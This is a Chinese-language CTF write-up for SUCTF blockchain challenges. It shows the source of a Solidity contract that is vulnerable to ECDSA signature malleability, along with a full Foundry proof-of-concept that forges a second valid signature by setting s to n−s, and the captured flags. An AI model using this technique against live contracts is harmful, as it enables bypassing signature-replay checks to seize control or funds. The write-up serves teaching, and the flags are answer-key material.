SUCTF blockchain wp
这里是 program 的地址。explorer 上查询到如下数据:
这两个有一个是测试数据:
另一个是对的
但是这里只有两个
另一个看源码这里:
这里提到了 account3 的公钥。试了下 base58 也能解出来:
拼一下:
SUCTF{Con9ra7s!YouHaveFound_7HE_KEeee3ey_P4rt_0f_Th3_F1ag.}
源码:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
contract MagicBox {
struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
}
address magician;
bytes32 alreadyUsedSignatureHash;
bool isOpened;
constructor() {}
function isSolved() public view returns (bool) {
return isOpened;
}
function getMessageHash(address _magician) public view returns (bytes32) {
return keccak256(abi.encodePacked("I want to open the magic box", _magician, address(this), block.chainid));
}
function _getSignerAndSignatureHash(Signature memory _signature) internal view returns (address, bytes32) {
address signer = ecrecover(getMessageHash(msg.sender), _signature.v, _signature.r, _signature.s);
bytes32 signatureHash = keccak256(abi.encodePacked(_signature.v, _signature.r, _signature.s));
return (signer, signatureHash);
}
function signIn(Signature memory signature) external {
require(magician == address(0), "Magician already signed in");
(address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
require(signer == msg.sender, "Invalid signature");
magician = signer;
alreadyUsedSignatureHash = signatureHash;
}
function openBox(Signature memory signature) external {
require(magician == msg.sender, "Only magician can open the box");
(address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
require(signer == msg.sender, "Invalid signature");
require(signatureHash != alreadyUsedSignatureHash, "Signature already used");
isOpened = true;
}
}
分析:和其他的合约 ctf 一样,调用 openBox
函数成功使得 isOpened
为 ture 即可拿到 flag。
大致一看,这道题需要我们签署原始交易,获得 v, r, s 的值。
getMessageHash
:该函数用于构造合约预期的 message 摘要_getSignerAndSignatureHash
:内部函数,用于还原签名的签署者,以及获得签名的哈希signIn
:传递签名(这里要求我们 msg.sender 和还原出来的签名地址相同,同时在此之前没有调用过该函数),设置 magician = signer
openBox
:传递签名,想要调用成功,需要与上一次调用signIn
的 signer 相同,同时签名的哈希不同。大致分析后,我们可以知道:每个人(signer)的交易哈希都只有一个,但是我们需要有两个不同的有效签名。这个实际上是以太坊的签名拓展性攻击漏洞。
关于该漏洞,详细流程可以查看我之前写的一篇文章:https://learnblockchain.cn/article/8281
简单来说:由于以太坊底层使用的是 Secp256K1 椭圆曲线,该椭圆曲线,对于一个签名,有两个有效的 s 值。所以,通过构造,我们得到另一个有效的 s 值,将这个 s 值作为调用openBox
中传递即可。
对于计算 v、r、s,这里使用 foundry 的 sign cheatcode。
完整 Poc:
import {Script, console2} from "forge-std/Script.sol";
import {MagicBox} from "../src/MagicBox.sol";
contract Attack is Script {
function run() external {
MagicBox target = MagicBox(vm.envAddress("target"));
// secp256k1 曲线的阶 n
uint256 n = uint256(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141);
vm.startBroadcast();
bytes32 MessageHash = target.getMessageHash(vm.envAddress("account"));
vm.stopBroadcast();
(uint8 v, bytes32 r, bytes32 s) = vm.sign(vm.envUint("key"), MessageHash);
v = 27; // 27 还原出来的失败
MagicBox.Signature memory signature1 = MagicBox.Signature(v, r, s);
MagicBox.Signature memory signature2 = MagicBox.Signature(28, r, bytes32(n - uint256(s)));
vm.startBroadcast();
target.signIn(signature1);
target.openBox(signature2);
vm.stopBroadcast();
}
}
这里需要注意的问题是:
以太坊的 v 值,有效值为 27 或 28,具体为哪个值,需要我们进行手动修改:
(第一次为 27 成功,第二次为 27 失败,修改为 28 后成功执行)
之后广播即可:
flag:SUCTF{C0n9r4ts!Y0u're_An_0ut5taNd1ng_OnchA1n_Ma9ic1an.}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!